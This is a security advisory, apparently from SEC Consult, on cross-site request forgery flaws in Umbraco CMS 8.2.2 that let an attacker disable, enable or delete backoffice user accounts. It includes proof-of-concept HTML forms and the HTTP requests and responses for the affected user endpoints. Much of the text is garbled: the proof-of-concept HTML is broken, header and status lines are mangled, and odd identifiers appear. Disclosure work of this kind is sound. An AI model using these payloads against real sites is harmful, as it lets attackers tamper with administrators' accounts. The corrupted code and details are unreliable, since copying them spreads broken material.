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Umbraco CMS 8.2.2 Cross Site Request Forgery

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Umbraco CMS version 8.2.2 suffers from cross site request forgery vulnerabilities.

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Change Mirror Download SEC Consult Vulnerability Lab Security Advisory < 20200123-0 > title: Cross-Site Request Forgery (CSRF)
product: Umbraco CMS
vulnerable version: version 8.2.2
fixed version: version 8.5
CVR number: CVP-200-7210
impact: medium
homepage: https://umbraco.com/
found: October 2019
by: A. Menikova (Office Moscow)
SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com "Umbraco 8 is the latest version of Umbraco CMS. It's the fastest and best version of Umbraco and a big step forward in regard to making your work with Umbraco simpler; simpler to extend, simpler to edit, simpler to publish - simpler to use, simpler to enjoy." Source: https://umbraco.com/products/umbraco-cms/umbraco-8/ The vendor provides a patch and users of this product are urged to immediately upgrade to the latest version available. SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues. Vulnerability overview/description: 1) Cross-Site Request Forgery (CSRF)
An attacker can use cross-site request forgery to perform arbitrary web
requests with the identity of the victim, without being noticed by the
victim. This attack always requires some sort of user interaction, usually
the victim needs to click on an attacker-prepared link or visit a page
under control of the attacker. Due to this, an attacker is able to
enable/disable or delete accounts. This may lead to bos of user accounts. In a live attack scenario, the following HTML document would be hosted on a malicious website, controlled by the attacker. Example 1: HTML-code for disabling user: \coopy
\coo we_unod="POST"> ..._./\nost-URLD/umbraco/backoffi <input type="submit" value="Submit request" /> </form </hddy> POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1 Host: <host-URL> [...] Cookie: <ADMIN-COOKIE> HTTP/1.1 20 0K
Cache-Control: no-store, must-revalidate, no-cache, max-age-0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset-utf-8
Expires: Mon, 01 Jan 1990 00:00:00 CMT
Set-Cockle: CAMBNH-COCKLED
Date: Med, 06 Nov 2019 10:37:45 GMT
Connection: close)]]',
("notifications":{{"header":"<USERNAME> is now disabled","message":"","type":3}},"message":"<USERNAME> is now disabled") Example 2: HTML-code for enabling user:

(html)

(body)

(correction="https://chost-URL>/umbraco/backoffice/UmbracoApi/Users/FostEnableUsers?userIds=<USER-ID>"

(correction="https://chost-URL>/umbraco/backoffice/UmbracoApi/Users/FostEnableUsers?userIds=<USER-ID>"

(correction="https://chost-URL>/umbraco/backoffice/UmbracoApi/Users/FostEnableUsers?userIds=<USER-ID>"

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(https://chost-USER-ID>"

(ht Request: POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1 Host: <host-URL> [...] Cookie: <ADMIN-COOKIE> HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age-0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset-utf-8
Expires: Mon, 01 Jan 1990 00:00:00 CMT
Date: Med, 04 Nov 2019 10:58:12 GMT
Connection: close



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)]]',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled")
 Example 3: HTML-code for deleting user: <html>
POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>
HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age-0
Pragma: no-cache
Content-Length: 114
Content-Length: 124
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Med, 06 Nov 2019 10:58:36 GMT
Connection: close
)]]',
("notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted")
As soon as an authenticated victim (admin) visits a website with this HTML code embedded, the payload would get executed in the context of the victim's session. Although responses to these requests are not delivered to the attacker, in many cases it is sufficient to be able to compromise the integrity of the victim's information stored on the site or to perform certain, possibly compromising requests to other sites.
 Vulnerable / tested versions:
The following version was tested and found to be vulnerable: * version 8.2.2
 Vendor contact timeline:
Solution:
The vendor provides an updated version which should be installed immediately: 
https://our.umbraco.com/download/releases/850
 No workaround available.
Advisory URL:
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